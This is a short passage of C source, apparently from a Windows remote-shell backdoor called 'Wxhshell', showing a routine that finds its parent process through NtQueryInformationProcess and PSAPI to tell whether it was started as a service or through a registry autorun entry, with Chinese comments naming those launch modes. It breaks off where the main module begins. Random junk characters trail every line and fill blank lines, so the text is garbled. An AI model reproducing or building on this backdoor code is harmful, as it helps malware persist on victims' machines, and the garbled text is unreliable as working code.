ULONG InheritedFromUniqueProcessId; \!7*(&yly
} PROCESS_BASIC_INFORMATION; C$ hQN
nr<.YeJ
PROCNTQSIP NtQueryInformationProcess; M/)B" q
*s36OF!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1O9$W?)Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,#Ln/;
F#^L9
HANDLE hProcess; M)tv;!eQ
PROCESS_BASIC_INFORMATION pbi; Bpas[2gYC
+yIL[D
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P09,P
if(NULL == hInst ) return 0; hqWbp*
/[L)tj7B
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lG
<yJ~{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `
Rsl]
GB
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'M
lXnHxt
k?n]ZNlT
if (!NtQueryInformationProcess) return 0; #O><A&FrF`
s%bUgO%&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cyHhy_~R
if(!hProcess) return 0; u:eW0Ows"
[^Q&suy
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [DL|Ht>
tUrNp~ve,
CloseHandle(hProcess); ?0m?7{
79a9L{gso
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n8Q*
_?Z/
if(hProcess==NULL) return 0; p*!q}%U
>Ban?3{
HMODULE hMod; l)%mqW%
char procName[255]; T&!ZD2I
unsigned long cbNeeded; M.t@@wq
.c|9..Cq=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OU6^+Ta
2\,e
CloseHandle(hProcess); CY5w$E
CBIT`k.+
if(strstr(procName,"services")) return 1; // 以服务启动 QWQ!Ak
VZIKjrKs
return 0; // 注册表启动 G6<HO7\
} mUiOD$rO
=J`gGDhGY-
// 主模块 -#daBx
?
int StartWxhshell(LPSTR lpCmdLine) *qbRP"#[$
{ M;V&